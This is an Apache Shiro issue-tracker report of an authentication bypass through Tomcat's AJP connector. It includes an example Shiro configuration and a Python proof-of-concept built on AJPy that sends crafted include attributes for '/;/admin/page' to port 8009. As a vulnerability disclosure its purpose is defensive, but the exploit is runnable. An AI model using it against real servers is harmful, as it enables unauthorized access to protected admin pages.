Uploaded image for project: 'Shiro'
  1. Shiro
  2. SHIRO-760

Bypass shiroFilter ACL

Attach filesAttach ScreenshotAdd voteVotersWatch issueWatchersCreate sub-taskLinkCloneUpdate Comment AuthorReplace String in CommentUpdate Comment VisibilityDelete Comments
    XMLWordPrintableJSON

    Details

    • Type: Bug
    • Status: Open
    • Priority: Major
    • Resolution: Unresolved
    • Affects Version/s: None
    • Fix Version/s: None
    • Labels:
      None

      Description

      I found that shiroFilter's access control can be bypassed through tomcat ajp protocol。

      @Configuration
      public class ShiroConfig {
          @Bean
          MyRealm myRealm() {
              return new MyRealm();
          }
      
          @Bean
          DefaultWebSecurityManager securityManager(){
              DefaultWebSecurityManager  manager = new DefaultWebSecurityManager();
              manager.setRealm(myRealm());
              return manager;
          }
      
          @Bean
          ShiroFilterFactoryBean shiroFilterFactoryBean(){
              ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
              bean.setSecurityManager(securityManager());
              bean.setLoginUrl("/login");
              bean.setSuccessUrl("/index");
              bean.setUnauthorizedUrl("/unauthorizedurl");
              Map<String, String> map = new LinkedHashMap<>();
              map.put("/doLogin", "anon");
              map.put("/admin/*", "authc");
              bean.setFilterChainDefinitionMap(map);
              return  bean;
          }
      }

       

      @RestController
      public class LoginController {
          @PostMapping("/doLogin")
          public void doLogin(String username, String password) {
              Subject subject = SecurityUtils.getSubject();        try {
                  subject.login(new UsernamePasswordToken(username, password));
                  System.out.println("登录成功!");
              } catch (AuthenticationException e) {
                  e.printStackTrace();
                  System.out.println("登录失败!");
              }
          }    @GetMapping("/admin/page")
          public String admin() {
              return "admin page";
          }    @GetMapping("/login")
          public String login() {
              return "please login!";
          }
      }
      
      

       

      If we visit /;/admin/page through http protocol, we will get a 302.

      But if we use the ajp protocol to access, we can directly access the admin page。

      By the way, how to use this exp。git clone https://github.com/hypn0s/AJPy.git and 

      create a new shiro-test.py in the same directory as follows

       

      import sys
      from ajpy.ajp
      import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
      from tomcat
      import Tomcat
      gc = Tomcat('127.0.0.1', 8009)
      attributes = [
          {
              "name": "req_attribute"
              , "value": ("javax.servlet.include.request_uri", "/;/admin/page", )
          }
          , {
              "name": "req_attribute"
              , "value": ("javax.servlet.include.path_info", "/", )
          }
          , {
              "name": "req_attribute"
              , "value": ("javax.servlet.include.servlet_path", "", )
          }
      , ]
      hdrs, data = gc.perform_request("/", attributes = attributes)
      output = sys.stdout
      for d in data:
          try:
          output.write(d.data.decode('utf8'))
      except UnicodeDecodeError:
          output.write(repr(d.data))
      
      

       env:apache-tomcat-8.5.45 + shiro 1.5.2

        Attachments

          Activity

            People

            • Assignee:
              Unassigned
              Reporter:
              cl0und cl0und

              Dates

              • Created:
                Updated:

                Issue deployment